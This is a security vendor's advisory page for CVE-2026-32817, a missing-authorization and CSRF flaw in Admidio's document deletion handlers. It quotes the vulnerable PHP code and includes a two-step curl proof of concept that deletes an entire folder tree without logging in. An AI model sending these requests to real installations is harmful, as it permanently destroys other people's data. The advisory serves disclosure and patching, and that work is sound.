Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-32817 — admidio

🔴 CVSS 9.5 — Critical ⚠️ Exploit Public CWE-862 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Admidio is Missing Authorization and CSRF Protection on Document and Folder Deletion

Summary

The documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The folder_delete and file_delete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $_GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documents_files_module_enabled = 1) and a folder is marked public (fol_public = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.

Details

Module Access Check

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 72-76

The module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:

```php

if ($gSettingsManager->getInt('documents_files_module_enabled') === 0) {

throw new Exception('SYS_MODULE_DISABLED');

} elseif ($gSettingsManager->getInt('documents_files_module_enabled') === 2 && !$gValidLogin) {

throw new Exception('SYS_NO_RIGHTS');

}

```

Vulnerable Code Path 1: Folder Deletion

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 122-133

```php

case 'folder_delete':

if ($getFolderUUID === '') {

throw new Exception('SYS_INVALID_PAGE_VIEW');

} else {

$folder = new Folder($gDb);

$folder->getFolderForDownload($getFolderUUID); // VIEW check only

$folder->delete(); // no CSRF token, no upload/admin check

echo json_encode(array('status' => 'success'));

}

break;

```

The target UUID is read exclusively from $_GET at line 64:

```php

$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', ...);

```

Vulnerable Code Path 2: File Deletion

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 150-161

```php

case 'file_delete':

if ($getFileUUID === '') {

throw new Exception('SYS_INVALID_PAGE_VIEW');

} else {

$file = new File($gDb);

$file->getFileForDownload($getFileUUID); // VIEW check only

$file->delete(); // no CSRF token, no upload/admin check

echo json_encode(array('status' => 'success'));

}

break;

```

Same pattern as folder_delete. The file UUID is also read from $_GET (line 69).

getFolderForDownload Grants VIEW Access to Public Folders Without Login

File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 432-438

```php

// If the folder is public (and the file is not locked) => allow

if ($this->getValue('fol_public') && !$this->getValue('fol_locked')) {

return true;

}

```

This is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.

Contrast with Other Write Operations (Properly Protected)

All other write operations in documents-files.php route through DocumentsService, which validates the CSRF token via getFormObject($_POST['adm_csrf_token']) before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.

Folder::delete() Is Recursive and Permanent

File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 213-259

Folder::delete() recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to folder_delete on the root folder permanently destroys the entire document library.

UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)

File: D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php, lines 546, 589

The presenter renders delete action links only when the user has upload rights (hasUploadRight()). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.

PoC

Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)

Prerequisites: documents_files_module_enabled = 1, target folder has fol_public = true.

Step 1: Discover folder UUIDs by fetching the public document list (no login needed):

```

curl "https://TARGET/adm_program/modules/documents-files.php?mode=list"

```

Step 2: Delete the entire folder tree permanently:

```

curl "https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<FOLDER_UUID>"

```

Expected response: {"status":"success"}

The folder, all its sub-folders, and all their files are permanently removed

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-32817 is classified as CWE-862: Missing Authorization. No authorisation check is performed before carrying out a restricted action.

Affected software

CVE-2026-32817 is recorded against 2 packages.

  • admidio (from 5.0.0 up to 5.0.7)
  • admidio/admidio (from 5.0.0 up to 5.0.7)

Timeline and source

Published on 20 March 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com

Other advisories for this package

admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-862: Missing Authorization) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWE CWE-862
Public Exploit ⚠️ Yes
Source NVD
Published 2026-03-20
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
admidio 5.0.0 5.0.7
admidio/admidio 5.0.0 5.0.7

References

Similar Threats

Exploit Protection

Are you running admidio?

CVE-2026-32817 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-32817 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026